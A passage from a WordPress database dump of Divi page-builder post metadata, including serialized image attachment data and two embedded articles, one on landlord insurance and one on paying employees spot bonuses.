/]'),(1367,545,'_et_pb_custom_css',''),(1368,545,'_et_pb_gutter_width','3'),(1369,545,'_thumbnail_id',''),(1370,545,'_et_pb_first_image',''),(1371,545,'_et_pb_truncate_post',''),(1372,545,'_et_pb_truncate_post_date',''),(1373,545,'_et_builder_version','VB|Divi|4.0.9'),(1374,545,'_et_pb_show_page_creation','off'),(1375,554,'_edit_lock','1595612559:1'),(1376,554,'_edit_last','1'),(1377,554,'_et_pb_post_hide_nav','default'),(1378,554,'_et_pb_page_layout','et_right_sidebar'),(1379,554,'_et_pb_side_nav','off'),(1380,554,'_et_pb_use_builder','on'),(1381,554,'_et_pb_built_for_post_type','page'),(1382,554,'_et_pb_ab_subjects',''),(1383,554,'_et_pb_enable_shortcode_tracking',''),(1384,554,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"554\" /]'),(1385,554,'_et_pb_custom_css',''),(1386,554,'_et_pb_gutter_width','3'),(1387,554,'_thumbnail_id',''),(1388,554,'_et_pb_first_image',''),(1389,554,'_et_pb_truncate_post','<div class=\"et_pb_section et_pb_section_1 et_section_regular\">\n				\n				\n				\n				\n					<div class=\"et_pb_row et_pb_row_2\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_2  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_2  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\">Insurance For Landlords: Protecting Your Investment</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_3\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_3  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_3  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\"><p>A rental property is one of the largest investments you can make, and in order to make sure your property is as lucrative as possible, it’s important to protect your investment to the best of your ability. When establishing yourself as a real estate investor, it is critical to acquire the right insurance to protect your business, your property, yourself and your tenants. At first glance, the range of insurance options can seem exhausting, but each involved party needs to be covered by the appropriate policy to stay safe — physically, financially and legally.<br />\nHomeowners Insurance<br />\nMany landlords rely on their standard homeowners insurance to protect their rental properties, but typical homeowners coverage is usually not sufficient to protect your investment property. Homeowners insurance usually covers owner-occupied homes, while a landlord-specific insurance policy will cover liability and damages related to tenant-occupied homes.<br />\nDepending on your specific situation, homeowners insurance may be sufficient without needing to seek out landlord insurance. If you only plan to rent out your property on occasion — such as for a specific event or while you’re on vacation — your homeowners insurance may suffice. If you plan to rent out single rooms while you also occupy the property, homeowners insurance may also be enough. Coverage varies based on your insurance company and policy, so be sure to contact your provider before you start looking for tenants.</p>\n<p>Landlord Insurance<br />\nIf you’re planning on renting out your investment property to tenants on a regular basis, you’ll need to look into landlord insurance coverage. Insurance policies designed specifically for landlords provide protection not only for your property, but added protection for financial loss and obligations associated with your rental property. Similar to homeowners insurance, landlord insurance will help cover the property itself and your liability when it comes to the tenants who live at the property.<br />\nDepending on the insurance company you choose and the options included in your policy, there are a variety of coverages that may be included. Personal property coverage can help protect belongings used to service the rental property if you choose to rent the space furnished, where legal fee coverage can help protect you if you need legal representation regarding a lease agreement with a tenant. Not every landlord will choose to include every available coverage option on their policy; it is up to you to decide how much you want to spend in order to manage costs for damage or liability associated with your investment property.<br />\n <br />\nProperty Management Insurance<br />\nIf you plan to manage multiple rental properties as a business, your insurance needs will once again change. If you are involved professionally in renting residential real estate, managing rental properties for others or contracting services for rental property owners, you’ll likely need to look into property management insurance coverage. Property managers need to have insurance that covers their business, their clients, their tenants and the properties they manage. If you’re simply a real estate investor or private owner renting out your home, look toward landlord insurance instead of property management insurance.<br />\nRenters Insurance<br />\nWhile landlord insurance will protect many things regarding your rental property, it only protects the owner’s property and belongings, not your tenants’ personal possessions. It is good standard practice to require your tenants to have their own renters insurance policy, which is an affordable way for your tenants to protect themselves and their personal property. Encouraging (or requiring) your tenants to have renters insurance can save you time and money should any accidents, damage or theft occur at your property.<br />\nMany renters don’t understand the importance of renters insurance because they assume your landlord policy will protect them. In fact, over 90% of homeowners carry a homeowners insurance policy, but less than 50% of renters have renters insurance in place. Renters insurance is an amazing tool to give your tenants protection for their personal belongings, against liability charges and against medical charges, and it helps them cover the cost of any property damage that may take place.<br />\nEquipping yourself and your renters with the right insurance is one of the best things you can do as a landlord to protect your business, your property and your tenants.<br />\n&nbsp;</p>\n<p>To read the full article, click here.</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row -->\n				\n				\n			</div> <!-- .et_pb_section -->\n'),(1390,554,'_et_pb_truncate_post_date','2020-10-05 03:10:17'),(1391,554,'_et_builder_version','VB|Divi|4.0.9'),(1392,554,'_et_pb_show_page_creation','off'),(1393,558,'_edit_lock','1595613031:1'),(1394,558,'_edit_last','1'),(1395,558,'_et_pb_post_hide_nav','default'),(1396,558,'_et_pb_page_layout','et_right_sidebar'),(1397,558,'_et_pb_side_nav','off'),(1398,558,'_et_pb_use_builder','on'),(1399,558,'_et_pb_built_for_post_type','page'),(1400,558,'_et_pb_ab_subjects',''),(1401,558,'_et_pb_enable_shortcode_tracking',''),(1402,558,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"558\" /]'),(1403,558,'_et_pb_custom_css',''),(1404,558,'_et_pb_gutter_width','3'),(1405,558,'_thumbnail_id',''),(1406,558,'_et_pb_first_image',''),(1407,558,'_et_pb_truncate_post',''),(1408,558,'_et_pb_truncate_post_date',''),(1409,558,'_et_builder_version','VB|Divi|4.0.9'),(1410,558,'_et_pb_show_page_creation','off'),(1411,562,'_edit_lock','1595622415:1'),(1412,562,'_edit_last','1'),(1413,562,'_et_pb_post_hide_nav','default'),(1414,562,'_et_pb_page_layout','et_right_sidebar'),(1415,562,'_et_pb_side_nav','off'),(1416,562,'_et_pb_use_builder','on'),(1417,562,'_et_pb_built_for_post_type','page'),(1418,562,'_et_pb_ab_subjects',''),(1419,562,'_et_pb_enable_shortcode_tracking',''),(1420,562,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"562\" /]'),(1421,562,'_et_pb_custom_css',''),(1422,562,'_et_pb_gutter_width','3'),(1423,562,'_thumbnail_id',''),(1424,562,'_et_pb_first_image',''),(1425,562,'_et_pb_truncate_post',''),(1426,562,'_et_pb_truncate_post_date',''),(1427,562,'_et_builder_version','VB|Divi|4.0.9'),(1428,562,'_et_pb_show_page_creation','off'),(1429,569,'_edit_lock','1595623285:1'),(1430,569,'_edit_last','1'),(1431,569,'_et_pb_post_hide_nav','default'),(1432,569,'_et_pb_page_layout','et_right_sidebar'),(1433,569,'_et_pb_side_nav','off'),(1434,569,'_et_pb_use_builder','on'),(1435,569,'_et_pb_built_for_post_type','page'),(1436,569,'_et_pb_ab_subjects',''),(1437,569,'_et_pb_enable_shortcode_tracking',''),(1438,569,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"569\" /]'),(1439,569,'_et_pb_custom_css',''),(1440,569,'_et_pb_gutter_width','3'),(1441,569,'_thumbnail_id',''),(1442,569,'_et_pb_first_image',''),(1443,569,'_et_pb_truncate_post',''),(1444,569,'_et_pb_truncate_post_date',''),(1445,569,'_et_builder_version','VB|Divi|4.0.9'),(1446,569,'_et_pb_show_page_creation','off'),(1855,719,'_edit_lock','1599683293:1'),(1448,575,'_edit_lock','1595627321:1'),(1449,575,'_edit_last','1'),(1450,575,'_et_pb_post_hide_nav','default'),(1451,575,'_et_pb_page_layout','et_right_sidebar'),(1452,575,'_et_pb_side_nav','off'),(1453,575,'_et_pb_use_builder','on'),(1454,575,'_et_pb_built_for_post_type','page'),(1455,575,'_et_pb_ab_subjects',''),(1456,575,'_et_pb_enable_shortcode_tracking',''),(1457,575,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"575\" /]'),(1458,575,'_et_pb_custom_css',''),(1459,575,'_et_pb_gutter_width','3'),(1460,575,'_thumbnail_id',''),(1461,575,'_et_pb_first_image',''),(1462,575,'_et_pb_truncate_post',''),(1463,575,'_et_pb_truncate_post_date',''),(1464,575,'_et_builder_version','VB|Divi|4.0.9'),(1465,575,'_et_pb_show_page_creation','off'),(1466,579,'_edit_lock','1595627598:1'),(1467,579,'_et_pb_use_builder','on'),(1468,579,'_edit_last','1'),(1469,579,'_et_pb_post_hide_nav','default'),(1470,579,'_et_pb_page_layout','et_right_sidebar'),(1471,579,'_et_pb_side_nav','off'),(1472,579,'_et_pb_built_for_post_type','page'),(1473,579,'_et_pb_ab_subjects',''),(1474,579,'_et_pb_enable_shortcode_tracking',''),(1475,579,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"579\" /]'),(1476,579,'_et_pb_custom_css',''),(1477,579,'_et_pb_gutter_width','3'),(1478,579,'_thumbnail_id',''),(1479,579,'_et_pb_first_image',''),(1480,579,'_et_pb_truncate_post',''),(1481,579,'_et_pb_truncate_post_date',''),(1482,579,'_et_builder_version','VB|Divi|4.0.9'),(1483,579,'_et_pb_show_page_creation','off'),(1484,586,'_edit_lock','1595629753:1'),(1485,586,'_edit_last','1'),(1486,586,'_et_pb_post_hide_nav','default'),(1487,586,'_et_pb_page_layout','et_right_sidebar'),(1488,586,'_et_pb_side_nav','off'),(1489,586,'_et_pb_use_builder','on'),(1490,586,'_et_pb_built_for_post_type','page'),(1491,586,'_et_pb_ab_subjects',''),(1492,586,'_et_pb_enable_shortcode_tracking',''),(1493,586,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"586\" /]'),(1494,586,'_et_pb_custom_css',''),(1495,586,'_et_pb_gutter_width','3'),(1496,586,'_thumbnail_id',''),(1497,586,'_et_pb_first_image',''),(1498,586,'_et_pb_truncate_post',''),(1499,586,'_et_pb_truncate_post_date',''),(1500,586,'_et_builder_version','VB|Divi|4.0.9'),(1501,586,'_et_pb_show_page_creation','off'),(1502,592,'_edit_lock','1595630112:1'),(1503,592,'_edit_last','1'),(1504,592,'_et_pb_post_hide_nav','default'),(1505,592,'_et_pb_page_layout','et_right_sidebar'),(1506,592,'_et_pb_side_nav','off'),(1507,592,'_et_pb_use_builder','on'),(1508,592,'_et_pb_built_for_post_type','page'),(1509,592,'_et_pb_ab_subjects',''),(1510,592,'_et_pb_enable_shortcode_tracking',''),(1511,592,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"592\" /]'),(1512,592,'_et_pb_custom_css',''),(1513,592,'_et_pb_gutter_width','3'),(1514,592,'_thumbnail_id',''),(1515,592,'_et_pb_first_image',''),(1516,592,'_et_pb_truncate_post',''),(1517,592,'_et_pb_truncate_post_date',''),(1518,592,'_et_builder_version','VB|Divi|4.0.9'),(1519,592,'_et_pb_show_page_creation','off'),(1521,613,'_edit_lock','1597446306:1'),(1522,613,'_edit_last','1'),(1523,613,'_et_pb_post_hide_nav','default'),(1524,613,'_et_pb_page_layout','et_right_sidebar'),(1525,613,'_et_pb_side_nav','off'),(1526,613,'_et_pb_use_builder','on'),(1527,613,'_et_pb_built_for_post_type','page'),(1528,613,'_et_pb_ab_subjects',''),(1529,613,'_et_pb_enable_shortcode_tracking',''),(1530,613,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"613\" /]'),(1531,613,'_et_pb_custom_css',''),(1532,613,'_et_pb_gutter_width','3'),(1533,613,'_thumbnail_id',''),(1534,613,'_et_pb_first_image',''),(1535,613,'_et_pb_truncate_post',''),(1536,613,'_et_pb_truncate_post_date',''),(1537,613,'_et_builder_version','VB|Divi|4.0.9'),(1538,613,'_et_pb_show_page_creation','off'),(1539,617,'_edit_lock','1597446904:1'),(1540,617,'_edit_last','1'),(1541,617,'_et_pb_post_hide_nav','default'),(1542,617,'_et_pb_page_layout','et_right_sidebar'),(1543,617,'_et_pb_side_nav','off'),(1544,617,'_et_pb_use_builder','on'),(1545,617,'_et_pb_built_for_post_type','page'),(1546,617,'_et_pb_ab_subjects',''),(1547,617,'_et_pb_enable_shortcode_tracking',''),(1548,617,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"617\" /]'),(1549,617,'_et_pb_custom_css',''),(1550,617,'_et_pb_gutter_width','3'),(1551,617,'_thumbnail_id',''),(1552,617,'_et_pb_first_image',''),(1553,617,'_et_pb_truncate_post',''),(1554,617,'_et_pb_truncate_post_date',''),(1555,617,'_et_builder_version','VB|Divi|4.0.9'),(1556,617,'_et_pb_show_page_creation','off'),(1557,621,'_edit_lock','1597447627:1'),(1558,621,'_edit_last','1'),(1559,621,'_et_pb_post_hide_nav','default'),(1560,621,'_et_pb_page_layout','et_right_sidebar'),(1561,621,'_et_pb_side_nav','off'),(1562,621,'_et_pb_use_builder','on'),(1563,621,'_et_pb_built_for_post_type','page'),(1564,621,'_et_pb_ab_subjects',''),(1565,621,'_et_pb_enable_shortcode_tracking',''),(1566,621,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"621\" /]'),(1567,621,'_et_pb_custom_css',''),(1568,621,'_et_pb_gutter_width','3'),(1569,621,'_thumbnail_id',''),(1570,621,'_et_pb_first_image',''),(1571,621,'_et_pb_truncate_post',''),(1572,621,'_et_pb_truncate_post_date',''),(1573,621,'_et_builder_version','VB|Divi|4.0.9'),(1574,621,'_et_pb_show_page_creation','off'),(1575,625,'_edit_lock','1597447969:1'),(1576,625,'_edit_last','1'),(1577,625,'_et_pb_post_hide_nav','default'),(1578,625,'_et_pb_page_layout','et_right_sidebar'),(1579,625,'_et_pb_side_nav','off'),(1580,625,'_et_pb_use_builder','on'),(1581,625,'_et_pb_built_for_post_type','page'),(1582,625,'_et_pb_ab_subjects',''),(1583,625,'_et_pb_enable_shortcode_tracking',''),(1584,625,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"625\" /]'),(1585,625,'_et_pb_custom_css',''),(1586,625,'_et_pb_gutter_width','3'),(1587,625,'_thumbnail_id',''),(1588,625,'_et_pb_first_image',''),(1589,625,'_et_pb_truncate_post',''),(1590,625,'_et_pb_truncate_post_date',''),(1591,625,'_et_builder_version','VB|Divi|4.0.9'),(1592,625,'_et_pb_show_page_creation','off'),(1593,631,'_edit_lock','1597448492:1'),(1594,631,'_edit_last','1'),(1595,631,'_et_pb_post_hide_nav','default'),(1596,631,'_et_pb_page_layout','et_right_sidebar'),(1597,631,'_et_pb_side_nav','off'),(1598,631,'_et_pb_use_builder','on'),(1599,631,'_et_pb_built_for_post_type','page'),(1600,631,'_et_pb_ab_subjects',''),(1601,631,'_et_pb_enable_shortcode_tracking',''),(1602,631,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"631\" /]'),(1603,631,'_et_pb_custom_css',''),(1604,631,'_et_pb_gutter_width','3'),(1605,631,'_thumbnail_id',''),(1606,631,'_et_pb_first_image',''),(1607,631,'_et_pb_truncate_post',''),(1608,631,'_et_pb_truncate_post_date',''),(1609,631,'_et_builder_version','VB|Divi|4.0.9'),(1610,631,'_et_pb_show_page_creation','off'),(1611,635,'_edit_lock','1597448869:1'),(1612,635,'_edit_last','1'),(1613,635,'_et_pb_post_hide_nav','default'),(1614,635,'_et_pb_page_layout','et_right_sidebar'),(1615,635,'_et_pb_side_nav','off'),(1616,635,'_et_pb_use_builder','on'),(1617,635,'_et_pb_built_for_post_type','page'),(1618,635,'_et_pb_ab_subjects',''),(1619,635,'_et_pb_enable_shortcode_tracking',''),(1620,635,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"635\" /]'),(1621,635,'_et_pb_custom_css',''),(1622,635,'_et_pb_gutter_width','3'),(1623,635,'_thumbnail_id',''),(1624,635,'_et_pb_first_image',''),(1625,635,'_et_pb_truncate_post',''),(1626,635,'_et_pb_truncate_post_date',''),(1627,635,'_et_builder_version','VB|Divi|4.0.9'),(1628,635,'_et_pb_show_page_creation','off'),(1629,639,'_edit_lock','1597449148:1'),(1630,639,'_edit_last','1'),(1631,639,'_et_pb_post_hide_nav','default'),(1632,639,'_et_pb_page_layout','et_right_sidebar'),(1633,639,'_et_pb_side_nav','off'),(1634,639,'_et_pb_use_builder','on'),(1635,639,'_et_pb_built_for_post_type','page'),(1636,639,'_et_pb_ab_subjects',''),(1637,639,'_et_pb_enable_shortcode_tracking',''),(1638,639,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"639\" /]'),(1639,639,'_et_pb_custom_css',''),(1640,639,'_et_pb_gutter_width','3'),(1641,639,'_thumbnail_id',''),(1642,639,'_et_pb_first_image',''),(1643,639,'_et_pb_truncate_post',''),(1644,639,'_et_pb_truncate_post_date',''),(1645,639,'_et_builder_version','VB|Divi|4.0.9'),(1646,639,'_et_pb_show_page_creation','off'),(1647,644,'_edit_lock','1597697628:1'),(1648,644,'_edit_last','1'),(1649,644,'_et_pb_post_hide_nav','default'),(1650,644,'_et_pb_page_layout','et_right_sidebar'),(1651,644,'_et_pb_side_nav','off'),(1652,644,'_et_pb_use_builder','on'),(1653,644,'_et_pb_built_for_post_type','page'),(1654,644,'_et_pb_ab_subjects',''),(1655,644,'_et_pb_enable_shortcode_tracking',''),(1656,644,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"644\" /]'),(1657,644,'_et_pb_custom_css',''),(1658,644,'_et_pb_gutter_width','3'),(1659,644,'_thumbnail_id',''),(1660,644,'_et_pb_first_image',''),(1661,644,'_et_pb_truncate_post','<div class=\"et_pb_section et_pb_section_0 et_section_regular\">\n				\n				\n				\n				\n					<div class=\"et_pb_row et_pb_row_0\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_0  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_0  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\">Reward Your Employees — Without Breaking the Bank</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_1\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_1  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_1  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\"><p>As the ongoing public health crisis has metastasized into an economic slowdown, it’s difficult for many corporations to retain and reward their people. Many firms aren’t in the position to give their employees large annual bonuses. As the former CEO of CitiMortgage and now the CEO of Caliber Home Loans, I have seen how spot bonuses can be an effective alternative: We recently paid spot bonuses to almost all our employees to reward them for their diligent work in a tumultuous year. Indeed, companies can use a spot bonus like a scalpel to stimulate feelings of satisfaction among employees, incentivize group behaviors, and build a stronger sense of solidarity.<br />\nA spot bonus is typically paid “on the spot” to individuals or a group of employees (and sometimes an organization’s entire workforce) for a specific behavior, action, or result. Because of their targeted nature, they tend to be a smaller amount of money than the annual incentive reward. In my experience, they typically range from a couple hundred dollars to a few thousand. According to research done by PayScale in 2018, these are the second most commonly used form of variable pay, tied with employee referral bonuses, after annual individual bonuses.<br />\nThere are many reasons you should consider using this type of compensation at your organization.<br />\nFirst, a spot bonus can make your employees feel more satisfied — and more frequently. There’s a scientific basis to this point: In a 2001 study, neuroscientists discovered that the anticipation of monetary rewards generates a significant amount of activation in the nucleus accumbens, which is part of the “reward circuitry” of the brain. In the same study, participants self-reported that they felt happier at the prospect of monetary gain.<br />\nIf your goal is to reward employees, then try engaging their reward circuitry more often. Instead of waiting an entire year to pay a bonus, consider introducing bonuses that employees can anticipate more frequently, such as recurring spot bonuses which are based on individual performance but also tied to the performance of the company. Not only will it more regularly stimulate “satisfied” brain activity among employees, but it will also help form a mental association between the results of the firm and individual performance.  This may create more work for HR or your financial group, but your leadership team could determine the spot bonus pool for the year in advance and empower managers to allocate them accordingly throughout the year.<br />\nSecond, a spot bonus may improve team performance, especially if recipients are encouraged to spend this money on others. Because of the pandemic, many people are working longer hours and often doing so in isolation. Yet there is an increasing amount of research that indicates that interpersonal relationships can serve as a source of satisfaction at work. In a 2013 study, salespeople at a pharmaceutical company were divided into groups, those who received personal bonuses and those who got prosocial bonuses who were encouraged to spend these bonuses on others. Those who received prosocial bonuses spent more money buying gifts for each other like lunches for colleagues. These teams outperformed those that didn’t receive the prosocial bonuses. “When organizations give employees the opportunity to spend money on others … both the employees and the company can benefit, with increased happiness and job satisfaction and even improved team performance,” conclude the authors of the study. These findings suggest that you could pay prosocial spot bonuses that are meant to be gifted, in an effort to boost performance.<br />\nThird, a spot bonus is an opportunity to demonstrate your organization’s priorities. Don’t just make it about the money. It’s not enough to only remit payments. You also have to explain how these bonuses are being paid because the firm is meeting its objectives. When my firm paid spot bonuses to almost all of our employees last year, we held an offsite in which we addressed the state of our business, described various transformation initiatives that were currently underway, and answered employee questions. Giving such a bonus presents an opportunity because you will have everyone’s attention, and they’re more likely to be open to what you and other leaders have to say. This is the time to share your vision, address queries, and inspire action.<br />\nIn this period of pandemic and recession, a spot bonus is a way to help employees through difficult times, as well as boost performance and morale.<br />\n&nbsp;</p>\n<p>To read the full article, click here.</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row -->\n				\n				\n			</div> <!-- .et_pb_section -->\n'),(1662,644,'_et_pb_truncate_post_date','2022-03-11 11:03:10'),(1663,644,'_et_builder_version','VB|Divi|4.0.9'),(1664,644,'_et_pb_show_page_creation','off'),(1665,648,'_edit_lock','1597697797:1'),(1666,648,'_edit_last','1'),(1667,648,'_et_pb_post_hide_nav','default'),(1668,648,'_et_pb_page_layout','et_right_sidebar'),(1669,648,'_et_pb_side_nav','off'),(1670,648,'_et_pb_use_builder','on'),(1671,648,'_et_pb_built_for_post_type','page'),(1672,648,'_et_pb_ab_subjects',''),(1673,648,'_et_pb_enable_shortcode_tracking',''),(1674,648,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"648\" /]'),(1675,648,'_et_pb_custom_css',''),(1676,648,'_et_pb_gutter_width','3'),(1677,648,'_thumbnail_id',''),(1678,648,'_et_pb_first_image',''),(1679,648,'_et_pb_truncate_post',''),(1680,648,'_et_pb_truncate_post_date',''),(1681,648,'_et_builder_version','VB|Divi|4.0.9'),(1682,648,'_et_pb_show_page_creation','off'),(1683,652,'_edit_lock','1597698545:1'),(1684,652,'_edit_last','1'),(1685,652,'_et_pb_post_hide_nav','default'),(1686,652,'_et_pb_page_layout','et_right_sidebar'),(1687,652,'_et_pb_side_nav','off'),(1688,652,'_et_pb_use_builder','on'),(1689,652,'_et_pb_built_for_post_type','page'),(1690,652,'_et_pb_ab_subjects',''),(1691,652,'_et_pb_enable_shortcode_tracking',''),(1692,652,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"652\" /]'),(1693,652,'_et_pb_custom_css',''),(1694,652,'_et_pb_gutter_width','3'),(1695,652,'_thumbnail_id',''),(1696,652,'_et_pb_first_image',''),(1697,652,'_et_pb_truncate_post',''),(1698,652,'_et_pb_truncate_post_date',''),(1699,652,'_et_builder_version','VB|Divi|4.0.9'),(1700,652,'_et_pb_show_page_creation','off'),(1701,656,'_edit_lock','1597699335:1'),(1702,656,'_edit_last','1'),(1703,656,'_et_pb_post_hide_nav','default'),(1704,656,'_et_pb_page_layout','et_right_sidebar'),(1705,656,'_et_pb_side_nav','off'),(1706,656,'_et_pb_use_builder','on'),(1707,659,'_wp_attached_file','2020/08/My_Post_081820_053200_AM.jpg'),(1708,659,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:2160;s:6:\"height\";i:2160;s:4:\"file\";s:36:\"2020/08/My_Post_081820_053200_AM.jpg\";s:5:\"sizes\";a:16:{s:6:\"medium\";a:4:{s:4:\"file\";s:36:\"My_Post_081820_053200_AM-300x300.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:38:\"My_Post_081820_053200_AM-1024x1024.jpg\";s:5:\"width\";i:1024;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:36:\"My_Post_081820_053200_AM-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:36:\"My_Post_081820_053200_AM-768x768.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:768;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:38:\"My_Post_081820_053200_AM-1536x1536.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:38:\"My_Post_081820_053200_AM-2048x2048.jpg\";s:5:\"width\";i:2048;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:21:\"et-pb-post-main-image\";a:4:{s:4:\"file\";s:36:\"My_Post_081820_053200_AM-400x250.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:250;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:31:\"et-pb-post-main-image-fullwidth\";a:4:{s:4:\"file\";s:37:\"My_Post_081820_053200_AM-1080x675.jpg\";s:5:\"width\";i:1080;s:6:\"height\";i:675;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:21:\"et-pb-portfolio-image\";a:4:{s:4:\"file\";s:36:\"My_Post_081820_053200_AM-400x284.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:284;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:28:\"et-pb-portfolio-module-image\";a:4:{s:4:\"file\";s:36:\"My_Post_081820_053200_AM-510x382.jpg\";s:5:\"width\";i:510;s:6:\"height\";i:382;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:28:\"et-pb-portfolio-image-single\";a:4:{s:4:\"file\";s:38:\"My_Post_081820_053200_AM-1080x1080.jpg\";s:5:\"width\";i:1080;s:6:\"height\";i:1080;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:35:\"et-pb-gallery-module-image-portrait\";a:4:{s:4:\"file\";s:36:\"My_Post_081820_053200_AM-400x516.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:516;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:37:\"et-pb-post-main-image-fullwidth-large\";a:4:{s:4:\"file\";s:38:\"My_Post_081820_053200_AM-2160x1800.jpg\";s:5:\"width\";i:2160;s:6:\"height\";i:1800;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:32:\"et-pb-image--responsive--desktop\";a:4:{s:4:\"file\";s:38:\"My_Post_081820_053200_AM-1280x1280.jpg\";s:5:\"width\";i:1280;s:6:\"height\";i:1280;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:31:\"et-pb-image--responsive--tablet\";a:4:{s:4:\"file\";s:36:\"My_Post_081820_053200_AM-980x980.jpg\";s:5:\"width\";i:980;s:6:\"height\";i:980;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:30:\"et-pb-image--responsive--phone\";a:4:{s:4:\"file\";s:36:\"My_Post_081820_053200_AM-480x480.jpg\";s:5:\"width\";i:480;s:6:\"height\";i:480;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(1709,656,'_et_pb_built_for_post_type','page'),(1710,656,'_et_pb_ab_subjects',''),(1711,656,'_et_pb_enable_shortcode_tracking',''),(1712,656,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"656\" /]'),(1713,656,'_et_pb_custom_css',''),(1714,656,'_et_pb_gutter_width','3'),(1715,656,'_thumbnail_id',''),(1716,656,'_et_pb_first_image',''),(1717,656,'_et_pb_truncate_post',''),(1718,656,'_et_pb_truncate_post_date',''),(1719,656,'_et_builder_version','VB|Divi|4.0.9'),(1720,656,'_et_pb_show_page_creation','off'),(1721,662,'_wp_attached_file','2020/08/My-Post-1.png'),(1722,662,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:720;s:6:\"height\";i:720;s:4:\"file\";s:21:\"2020/08/My-Post-1.png\";s:5:\"sizes\";a:8:{s:6:\"medium\";a:4:{s:4:\"file\";s:21:\"My-Post-1-300x300.png\";s:5:\"width\";i:300;s:6:\"height\";i:300;s:9:\"mime-type\";s:9:\"image/png\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:21:\"My-Post-1-150x150.png\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:9:\"image/png\";}s:21:\"et-pb-post-main-image\";a:4:{s:4:\"file\";s:21:\"My-Post-1-400x250.png\";s:5:\"width\";i:400;s:6:\"height\";i:250;s:9:\"mime-type\";s:9:\"image/png\";}s:31:\"et-pb-post-main-image-fullwidth\";a:4:{s:4:\"file\";s:21:\"My-Post-1-720x675.png\";s:5:\"width\";i:720;s:6:\"height\";i:675;s:9:\"mime-type\";s:9:\"image/png\";}s:21:\"et-pb-portfolio-image\";a:4:{s:4:\"file\";s:21:\"My-Post-1-400x284.png\";s:5:\"width\";i:400;s:6:\"height\";i:284;s:9:\"mime-t